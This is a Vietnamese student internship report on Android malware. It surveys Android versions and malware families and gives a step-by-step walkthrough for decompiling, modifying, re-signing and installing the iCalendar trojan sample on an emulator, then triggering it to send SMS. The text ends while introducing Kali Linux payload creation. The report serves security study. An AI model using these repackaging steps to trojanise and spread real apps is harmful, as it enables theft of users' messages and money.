50
BÁO CÁO ĐỀ TÀI THC TP NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH CP DLIỆU NHƯ DANH SÁCH CONTACT, TIN NHẮN TRÊN ĐIỆN THOI SDNG ANDROID VÀ GI RA NGOÀI GVHD:VÕ TT THNG SVTH:NGUYN HOÀNG ANH

Báo cáo thực tập giữa kì

Embed Size (px)

Citation preview

Page 1: Báo cáo thực tập giữa kì

BÁO CÁO ĐỀ TÀI THỰC TẬP

NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH

CẮP DỮ LIỆU NHƯ DANH SÁCH CONTACT, TIN NHẮN

TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI

GVHD:VÕ TẤT THẮNG

SVTH:NGUYỄN HOÀNG ANH

Page 2: Báo cáo thực tập giữa kì

NỘI DUNG:

I. Tìm hiểu và cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lập.

1. Lịch sử phát triển và đặc điểm của hệ điều hành Android

2. Cài đặt

II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x.

1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.

2. Sự khác nhau về giao diện.

3. Sự khác nhau về tính năng.

4. Sự khác nhau về giao thức mạng.

III. Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt backdoor, trojan lên Android (iCalendar)

1.Định nghĩa

2.Mã độc trong môi trường Android:

3.Tính bảo mật trong Android

4 Thực trạng

5. Nghiên cứu lỗ hổng bảo mật trên Android.

5.1. Malware trên Android.

5.2 Cơ chế hoạt động của Malware.

6. Cài đặt trojan , backdoor trên thiết bị Android (iCalendar)

IV. Nghiên cứu Kali Linux – các cơ chế tạo mã độc trên Kali –Linux , từ đó xâm nhập thẻ Sd card, kích hoạt camera, ghi âm trên thiết bị, sau đó truyền dữ liệu về máy điều khiển từ xa

1 Tìm hiểu Kali Linux

2 Cài đặt Kali Linux trên máy ảo VMWare

3 Tạo mã độc trên Kali Linux để xâm nhập Android

Page 3: Báo cáo thực tập giữa kì

I.Tìm hiểu và cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lập.

1. Lịch sử phát triển và đặc điểm của hệ điều hành Android

Lịch sử

Tổng công ty Android (Android, Inc.) được thành lập tại Palo Alto, California vào tháng 10 năm 2003 bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner (đồng sáng lập Tổng công ty Viễn thông Wildfire), Nick Sears (từng là Phó giám đốc T-Mobile), và Chris White (trưởng thiết kế và giao diện tại WebTV) để phát triển, theo lời của Rubin, "các thiết bị di động thông minh hơn có thể biết được vị trí và sở thích của người dùng". Dù những người thành lập và nhân viên đều là những người có tiếng tăm, Tổng công ty Android hoạt động một cách âm thầm, chỉ tiết lộ rằng họ đang làm phần mềm dành cho điện thoại di động. Trong năm đó, Rubin hết kinh phí. Steve Perlman, một người bạn thân của Rubin, mang cho ông 10.000 USD tiền mặt nhưng từ chối tham gia vào công ty.

Google mua lại Tổng công ty Android vào ngày 17 tháng 8 năm 2005, biến nó thành một bộ phận trực thuộc Google. Những nhân viên của chủ chốt của Tổng công ty Android, gồm Rubin, Miner và White, vẫn tiếp tục ở lại công ty làm việc sau thương vụ này. Vào thời điểm đó không có nhiều thông tin về Tổng công ty, nhưng nhiều người đồn đoán rằng Google dự tính tham gia thị trường điện thoại di động sau bước đi này. Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị di động phát triển trên nền nhân Linux. Google quảng bá nền tảng này cho các nhà sản xuất điện thoại và các nhà mạng với lời hứa sẽ cung cấp một hệ thống uyển chuyển và có khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như đối tác phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ khác nhau.

Ngày càng nhiều suy đoán rằng Google sẽ tham gia thị trường điện thoại di động xuất hiện trong tháng 12 năm 2006. Tin tức của BBC và Nhật báo phố Wall chú thích rằng Google muốn đưa công nghệ tìm kiếm và các ứng dụng của họ vào điện thoại di động và họ đang nỗ lực làm việc để thực hiện điều này. Các phương tiện truyền thông truyền thống lẫn online cũng viết về tin đồn rằng Google đang phát triển một thiết bị cầm tay mang thương hiệu Google. Một vài tờ báo còn nói rằng trong khi Google vẫn đang thực hiện những bản mô tả kỹ thuật chi tiết, họ đã trình diễn sản phẩm mẫu cho các nhà sản xuất điện thoại di động và nhà mạng. Tháng 9 năm 2007, InformationWeek đăng tải một nghiên cứu của Evalueserve cho biết Google đã nộp một số đơn xin cấp bằng sáng chế trong lĩnh vực điện thoại di động.

Page 4: Báo cáo thực tập giữa kì

Ngày 5/11/2007, Liên minh thiết bị cầm tay mở (Open Handset Alliance), một hiệp hội bao gồm nhiều công ty trong đó có Texas Instruments,Tập đoàn Broadcom, Google, HTC, Intel, LG, Tập đoàn MarvellTechnology, Motorola, Nvidia, Qualcomm, Samsung Electronics, Sprint Nextel và T-Mobile được thành lập với mục đích phát triển các tiêu chuẩn mở cho thiết bị di động. Cùng ngày , Android cũng được ra mắt với vai trò là sản phẩm đầu tiên của Liên minh, một nền tảng thiết bị di động được xây dựng trên nhân Linux phiên bản 2.6. Chiếc điện thoại chạy Android đầu tiên được bán ra là HTC Dream, phát hành ngày 22 tháng 10 năm 2008. Biểu tượng của hệ điều hành Android mới là một con rôbốt màu xanh lá cây do hãng thiết kế Irina Blok tại California vẽ.

Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ điều hành, bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành trước. Mỗi bản nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món ăn tráng miệng ; ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối bằng phiên bản 1.6 Donut (bánh vòng). Phiên bản mới nhất là 4.2 Jelly Bean (kẹo dẻo). Vào năm 2010, Google ra mắt loạt thiết bị Nexus - một dòng sản phẩm bao gồm điện thoại thông minh và máy tính bảng chạy hệ điều hành Android, do các đối tác phần cứng sản xuất. HTC đã hợp tác với Google trong chiếc điện thoại thông minh Nexus đầu tiên, Nexus One. Kể từ đó nhiều thiết bị mới hơn đã gia nhập vào dòng sản phẩm này, như điện thoại Nexus 4 và máy tính bảng Nexus 10, lần lượt do LG và Samsung sản xuất. Google xem điện thoại và máy tính bảng Nexus là những thiết bị Android chủ lực của mình, với những tính năng phần cứng và phần mềm mới nhất của Android.

Đặc điểm

1. Tính mở. Android được xây dựng từ dưới đi lên cho phép người phát triển tạo các ứng dụng di động hấp dẫn với đầy đủ các điểm mạnh của các thiết bị cầm tay hiện có. Android hoàn toàn mở, một ứng dụng có thể gọi tới bất kể một chức năng lõi của điện thoại như tạo cuộc gọi, gửi tin nhắn hay sử dụng máy ảnh, cho phép người phát triển tạo phong phú hơn, liên kết hơn các tính năng cho người dùng. Android được xây dựng trên nhân Linux mở. Thêm nữa, nó sử dụng một máy ảo mà đã được tối ưu hóa bộ nhớ và phần cứng với môi trường di động. Android mà một mã nguồn mở, nó có thể được mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Nền tảng này sẽ tiếp tục phát triển bởi cộng đồng phát triển để tạo ra các ứng dụng di động hoàn hảo.

2. Tính ngang bằng của các ứng dụng. Với Android, không có sự khác nhau giữa các ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện thoại. Với các thiết bị được xây dựng trên nền tảng Android, người dùng có thể đáp ứng đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện thoại, hay bất kể ứng dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ xem những ảnh mình thích.

3. Phá vỡ rào cản phát triển ứng dụng. Android phá vỡ rào cản để tạo ứng dụng mới và

Page 5: Báo cáo thực tập giữa kì

cải tiến. Một người phát triển có thể kết hợp thông tin từ trang web với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí trên bản đồ – để cung cấp chính xác hơn cho người khác. Với Android, người phát triển có thể xây dựng một ứng dụng mà cho phép người dùng xem vị trí của những người bạn và thông báo khi họ đang ở vị trí lân cận. Tất cả được lập trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ định vị toàn cầu GPS.

4. Xây dựng ứng dụng dễ dàng và nhanh chóng Android cung cấp bộ thư viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng phức tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của thiết bị và cho phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp. Thêm nữa, Android còn bao gồm một bộ công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng.

2. Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lập

Cài đặt Java JDK.

Để giả lập thiết bị Android chúng ta cần cài đặt các công cụ giả lập là bộ công cụ

phát triển java (java JDK) và phần mềm giả lập Android (Android SDK).

Bạn có thể download bộ JDK 8 (mới nhất) tại địa chỉ

http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-

2133151.html

Page 6: Báo cáo thực tập giữa kì

Chọn 1 trong 2 phiên bản x86 hoặc x64 tùy vào phiên bản Windows của máy (x64

đối với 64 bit và x86 đối với x86).

Chạy file vừa tải về để cài đặt

Việc cài đặt khá đơn giản, ta chỉ việc nhấn next và chờ cài đặt xong

Page 7: Báo cáo thực tập giữa kì

Chọn nơi để cài đặt JDK

Sau khi cài xongta có thể kiểm tra lại xem bộ JDK đã cài được trên máy tính của

bạn chưa bẳng cách vào CMD và gõ lệnh: “java”

Nếu màn hình hiện ra như sau là ta đã hoàn thành bước này:

Page 8: Báo cáo thực tập giữa kì

2. Cài đặt android SDK

Để download ta vào link : http://developer.android.com/sdk/index.html

Page 9: Báo cáo thực tập giữa kì

Nhớ lựa chọn phiên bản phù hợp với windows của mình

Tải về và giải nén file zip để có thư mục

Page 10: Báo cáo thực tập giữa kì

Trong thư mục, nhấp vài SDK manager

Công việc tiếp theo là download các gói hỗ trợ như: Android SDK Buil-tools,

Android SDK, Platform-tools, các phiên bản Android và các gói hỗ trợ khác…

Đánh dấu phần cần download, download Android SDK Tools, Android SDK

Platform tools, Android SDK Build-tools,

Download Android Platform và ARM image ở Androi 4.0 và 2.3.3

Page 11: Báo cáo thực tập giữa kì

3. Tạo máy ảo Android (Android Virtual Device)

Ở SDK manager vào Tools chọn Manage AVD

Click vào New để tạo máy ảo android

Page 12: Báo cáo thực tập giữa kì

Điền vào các thống số cho máy ảo như tên, phiên bản Android (4.0 hoặc 2.3 ...),

Ram, dung lượng bộ nhớ trong, ngoài .... Nhớ đánh dấu vào Use Host GPU.

Tạo xong click vào Start để khởi động máy ảo

Page 13: Báo cáo thực tập giữa kì

Đợi máy ảo khởi động xong là ta đã có máy ảo Android trên màn hình:

Page 14: Báo cáo thực tập giữa kì

II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x.

1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.

Android 2.3 Android 4x

Cần ít nhất 128 MB bộ nhớ có sẵn cho Kernel và cho không gian người sử dụng

Cần ít nhất 340 MB bộ nhớ có sẵn cho kernel và cho không gian người sử dụng

Dung lượng Ram tối thiểu cần thiết là 150MB

Dung lượng Ram tối thiểu cần thiết là 350 MB

Màn hình:

- Màn hình phải có kích cỡ ít nhất 2,5 inch

- Mật độ phải được ít nhất 100 dpi - Tỉ lệ màn hình từ 1.333 (4:3) đến

1,779 (16:9) - Công nghệ màn hình được sử dụng

là công nghệ “ Square pixels”

Màn hình:

- Màn hình phải có kích cỡ ít nhất 426x320

- Mật độ phải được ít nhất 100 dpi - Tỉ lệ màn hình từ 1.333 (4:3) đến

1,85 (16:9)

Yêu cầu có các phím vậy lý Không yêu cầu có có phím vật lý

Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu.Trình quản lí download phải có khả năng tải tập tin có dung lượng ít nhất 55 MB

Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu.Trình quản lí download phải có khả năng tải tập tin có dung lượng ít nhất 100 MB

2. Sự khác nhau về giao diện.

Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng

cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo

dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động của

người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt mà,

thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho người dùng.

Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và cảm

biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động

khác của người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế

Page 15: Báo cáo thực tập giữa kì

độ hiển thị ngang tùy theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua

bằng xoay thiết bị, giống như Các thiết bị Android sau khi khởi động sẽ hiển thị

màn hình chính, điểm khởi đầu với các thông tin chính trên thiết bị,

tương tự như khái niệm desktop (bàn làm việc) trên máy tính để bàn. Màn hính

chính Android thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng

ứng dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống

động, cập nhật tự động như dự báo thời tiết, hộp thư của người dùng, hoặc những

mẩu tin thời sự ngay trên màn hình chính. Màn hình chính có thể gồm nhiều trang

xem được bằng cách vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của

Android có thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp đặt hình dáng

cũng như hành vi của thiết bị theo sở thích. Những ứng dụng do các hãng thứ ba có

trên Google Play và các kho ứng dụng khác còn cho phép người dùng thay đổi

"chủ đề" của màn hình chính, thậm chí bắt chước hình dáng của hệ điều hành khác

như Windows Phone chẳng hạn. Phần lớn những nhà sản xuất, và một số nhà mạng,

thực hiện thay đổi hình dáng và hành vi của các thiết bị Android của họ để phân biệt

với các hãng cạnh tranh. Ở phía trên cùng màn hình là thanh trạng thái, hiển thị

thông tin về thiết bị và tình trạng kết nối. Thanh trạng thái này có thể "kéo"

xuống để xem màn hình thông báo gồm thông tin quan trọng hoặc cập nhật của các

ứng dụng, như email hay tin nhắn SMS mới nhận, mà không làm gián đoạn hoặc

khiến người dùng cảm thấy bất tiện. Trong các phiên bản đời đầu, người dùng có

thể nhấn vào thông báo để mở ra ứng dụng tương ứng, về sau này các thông tin cập

nhật được bổ sung theo tính năng, như có khả năng lập tức gọi ngược lại khi có

cuộc gọi nhỡ mà không cần phải mở ứng dụng gọi điện ra. Thông báo sẽ luôn nằm

đó cho đến khi người dùng đã đọc hoặc xóa nó đi.

Android 2.3 Android 4x

Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và đẹp mắt hơn

Chỉ hỗ trợ phím ảo là phím Home Hỗ trợ các phím ảo: Home, Back, Menu

Không có widget menu Có Widget menu giúp tìm nhanh thông tin mà không cần mở ứng dụng

Page 16: Báo cáo thực tập giữa kì

3. Sự khác nhau về tính năng.

Android 2.3 Android 4x

Thiết kế tối ưu hóa cho Smartphone Thiết kế tối ưu hóa cho Smartphone và Tablet

Chỉ có thể xóa tất các các thông báo cùng lúc trên trình quản lý

Chỉ có thể xóa riêng rẽ các thông báo cùng lúc trên trình quản lý

Chỉ có thể trả lời, ngắt cuộc gọi khi màn hình bị khóa

Có thể thực hiện thêm 1 số tính năng khi màn hình bị khoái ngoài trả lời , ngắt cuộc gọi như gửi tin nhắn

Không có tính năng mở khóa màn hình nhận diện khuôn mặt

Có tính năng mở khóa màn hình nhận diện khuôn mặt

Không hỗ trợ chỉnh sửa hình ảnh Hỗ trợ chỉnh sửa hình ảnh , tự động nhận diện được tất cả các camera trên thiết bị

4. Sự khác nhau về giao thức mạng.

Android 2.3 Android 4x

Không hỗ trợ giao thức https Hỗ trợ giao thức https

Page 17: Báo cáo thực tập giữa kì

III. Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt backdoor, trojan lên Android (iCalendar)

1.Định nghĩa:

Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt backdoor, trojan lên Android (iCalendar)

Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt backdoor, trojan lên Android (iCalendar)

1.Định nghĩa:

Mã độc là một đoạn code được đưa vào phần mềm nhằm thay đổi các thực thi của

hệ điều hành hoặc các chương trình bảo vệ máy tính mà không cần sự cho phép

của người sử dụng. Bằng cách này, phần mềm có chứa mã độc sẽ gây hại cho hệ

điều hành cũng như các chương trình ứng dụng và người dùng thiết bị.

2.Mã độc trong môi trường Android:

Android là một môi trường lý tưởng cho mã độc phát triển vì:

Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet baking…Sử dụng

các ứng dụng này đồng nghĩa với việc cung cấp thông tin cá nhân.

Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho smartphone và

máy tính bảng.

Android là một hệ điều hành mở.

Mục tiêu của mã độc Android:

Có nhiều cách phân loại mã độc trong android:

Nghiên cứu của Troy Vennon dựa vào cách hoạt động lây nhiễm của mã độc đã

chia ra làm bốn loại.

Nghiên cứu của K.H.Khan & M.N.Tahir phân loai mã độc làm 6 nhóm.

Trang web forenics chuyên nghiên cứu về mã độc dựa vào mục tiêu của mã độc để

chia ra làm 9 họ:

Page 18: Báo cáo thực tập giữa kì

Đánh cấp thông tin cá nhân 51,3%

Gửi tin nhắn trái phép (IMEL,..) 30,1%

Botnet(spam, thư rác,..) 23,5%

Truy cập Root 18,3%

Tải từ Google-Play 11,3%

Cài đặt các ứng dụng khác 10,4%

Đánh cấp định vị của người dùng 8,7%

Cài đặt các ứng dụng hỗ trợ hacker 7,8%

Trojans (tiếp cận các dịch vụ ngân hàng trực

tiếp)

3,5%

3.Tính bảo mật trong Android

Các ứng dụng android được tách biệt với nhau trong quá trình thực thi.

Các ứng dụng android được phân biệt bởi system ID.

Các ứng dụng android phải được signing mới có thể cài đặt vào hệ thồng.

Bảo mật trong android được thể hiện qua cơ chế “Permission”

Cơ chế Permission:

Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều hành và

người sử dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như đọc gửi

tin nhắn, truy cập mạng, thực hiện cuộc gọi, truy cập vào thông tin cá nhân,..Nói

cách khác người lập trinh ứng dụng sẽ khai báo Permission cho những nguông tài

nguyên này sẽ được thông báo đến người dùng trước khi cài đặt ứng dụng.

Google Play:

Kiểm soát các mã độc trên ứng dụng.

4.Thực trạng

Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã độc

trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số lượng

mã độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến nền

Page 19: Báo cáo thực tập giữa kì

tảng Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di

động của Google vừa được hãng bảo mật Kaspersky Lab công bố.

Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus chủ

yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến họ

những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi

khác, ăn cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần

mềm chưa được cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại

mã độc mới được phát tán trên Android trong quý I năm 2013.

Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số

lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm

2013, Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di động

bằng tổng số lượng mã độc được phát hiện trong cả năm 2012 mà Android là nền

tảng chịu ảnh hưởng nặng nhất.

Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán các

loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên lĩnh

vực bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú ý của các

tin tặc, đồng thời việc quản lý các ứng dụng cho Android một cách lỏng lẻo càng

tạo điều kiện cho mã độc được phát tán dễ dàng hơn trên nền tảng di động này.

Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật

trong quý 1/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ

yếu dựa vào việc phát tán các đường link trang web có chứa mã độc. Các đường

link có chứa mã độc này chủ yếu được phát tán thông qua email và trên các mạng

xã hội như Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất

hiện nay của hacker.

Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền tảng

khác) đã được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là

1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc

phát tán từ 3 quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%).

5. Nghiên cứu lỗ hổng bảo mật trên Android.

5.1. Malware trên Android.

Malware không chỉ mối lo ngại với người dùng máy tính mà bây giờ còn lấn sang cả

Page 20: Báo cáo thực tập giữa kì

hệ điều hành dành cho smartphone, đặc biệt là Android.

Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần

mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính

mà người sử dụng không hề hay biết. Người viết nên nó ban đầu chỉ tập trung vào

máy tính, nhất là Windows khi nó chiếm đến 90% tổng số Malware xuất hiện trên

các nền tảng, bên cạnh đó là các OS khác như Linux, Chrome OS, MacOs... nhưng

không đáng kể. Tuy nhiên giờ đây khi Smartphone đang ngày càng phát triển và

phổ biến dần thay thế máy tính từ các công việc soạn thảo văn bản, giải trí đến giao

dịch ngân hàng thì nó trở thành mục tiêu tấn công của Malware.

Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay

mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó

chưa có cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện

nay về cách thức hoạt động giống như một phần mềm gián điệp (Trojan), phần lớn

nhắm vào dịch vụ Mobile Banking trên Smartphone để lấy cắp thông tin, các thao

tác xác nhận... thông qua việc sử dụng SMS Spy, tức là theo dõi tin nhắn SMS khi

bạn thực hiện giao dịch với ngân hàng. Bên cạnh đó là nhằm vào các cuộc gọi thực

hiện trên máy bạn, tắt một số dịch vụ để dễ kiểm soát.

5.2 Cơ chế hoạt động của Malware.

Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là

Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:

- Giai đoạn đầu: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng

dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền

root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu

tiên.

- Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt

cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi

các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng

khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm

thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng

dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng

xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.

Page 21: Báo cáo thực tập giữa kì

Không giống như giai đoạn đầu, người dùng phải khởi động ứng dụng để bắt đầu

việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là

confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động

lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công

việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là

khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm

cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên

chiếc smartphone của mình.

5.3.Mục đích của Malware DroidDream

DroidDream được coi là một trong những Malware đầu tiên trên Android, mục

đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại

của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các

biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều.

Ví dụ như Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin nhắn mà

không cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người

dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc

một Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành

động liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy

chủ. Các đoạn code dùng 1 lần mà các ngân hàng thường gửi tới khách hàng thông

qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các malware này.

Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện

thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta

đang bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang

thực sự đe dọa đến an sự an toàn của người dùng hệ điều hành này.

6. Cài đặt trojan trên Android (iCalendar)

Các công cụ cần thiết:

apktool: giải mã các file .apk và .rar, đóng gói apk phục vụ cho việc tùy chỉnh

sửa đổi các file đó. https://code.google.com/p/android-apktool/

dex2jar: dịch file .apk thành file .jar. https://code.google.com/p/dex2jar/

Page 22: Báo cáo thực tập giữa kì

id-gui: đọc code java từ file .jar.

https://code.google.com/p/innlab/downloads/detail?name=jd-gui-

0.3.3.windows.zip&can=2&q=2

File iCalendar.apk, một trong 11 ứng dụng bị gỡ bỏ khỏi Android Market do có

chứa malware.

Các bước thực hiện:

1. Dùng phần mềm WinZip giải nén file classes.dex trong iCalendar.apk vào

folder chứa công cụ dex2jar.

2. Vào command windows, vào trong thư mục dex2jar để thực hiện câu lệnh

sau: dex2jar classes.dex

Câu lệnh này chuyển đổi file classes.dex thành file classes_dex2jar.jar.

Page 23: Báo cáo thực tập giữa kì

3. Dùng công cụ id-gui để mở file classes_dex2jar.jar có được ở bước 2 để

xem source code của ứng dụng iCalendar.

4. Vào command windows, vào trong thư mục chứa apktool (phải chứa sẵn

iCalendar.apk) và nhập 2 lệnh sau:

apktool if iCalendar.apk

apktool d iCalendar.apk

Ta được kết quả:

Page 24: Báo cáo thực tập giữa kì

Truy cập vào thư mục iCalendar và di chuyển đến thư mục

smali\com\mj\iCalendar

5. Mở file iCalendar.smali và file SmsReceiver.smali bằng Notepad và thực

hiện như hình bên dưới sau đó lưu lại.

Page 25: Báo cáo thực tập giữa kì

6. Vào command windows thực hiện câu lệnh sau để đóng gói ứng dụng

iCalendar đã được chỉnh sửa thành file .apk mới tại thư mục

iCalendar\dist

apktool b iCalendar

Page 26: Báo cáo thực tập giữa kì

7. Đưa file iCalendar.apk đã tạo ở bước 6 vào thư mục bin nằm trong thư

mục Java

Trên command windows vào thư mục trên và nhập các lệnh sau để verify

(Signing ứng dụng, tạo chữ ký điện tử để thiết bị) gói apk để có thể sử dụng

trên thiết bị (phải chọn run as administrator khi chạy cmd)::

keytool -genkey -v -keystore iCalendar-iCalendar.keystore -alias

iCalendar -keyalg RSA -keysize 2048 -validity 10000

Page 27: Báo cáo thực tập giữa kì

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore

iCalendar-iCalendar.keystore iCalendar.apk iCalendar

jarsigner -verify -verbose -certs iCalendar.apk

Kết quả:

Ta đã verify thành công file apk.

8. Copy file iCalendar.apk vào thư mục platform-tools của Android SDK và

dùng lệnh sau để cài ứng dụng vào giả lập

adb -s emulator-5554 install iCalendar.apk

Page 28: Báo cáo thực tập giữa kì

Vậy ta đã cài đặt thành công lên máy ảo.

9. Kích hoạt Trojan gửi tin nhắn đến máy ảo 5556 (mở ứng dụng iCalendar rồi

click 7 lần).

Kết quả

Page 29: Báo cáo thực tập giữa kì

IV.Nghiên cứu Kali Linux, các cơ chế tạo mã độ trên Kali Linux để xâm nhập

thẻ sd card, camera, ghi âm trên android

Truyền dữ liệu trên thẻ sd card, kích hoạt camera, ghi âm trên android

I. Kali-Linux

Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế để

kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali

Linux là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật

ưa chuộng sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013, hãng

Offensive Security đã công bố phiên bản mới của BackTrack có thên là Kali Linux

(được xem như phiên bản BackTrack 6). Kali Linux tập hợp và phân loại gần như

tất cả các công cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào cũng cần sử

dụng khi tác nghiệp.

Nói về ưu điểm của Kali là nói về những thay đổi giữa BackTrack và Kali. So

với BackTrack, Kali có rất nhiều cải tiến:

Kali phát triển trên nền tảng hệ điều hành Debian

Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu

trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ

dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository.

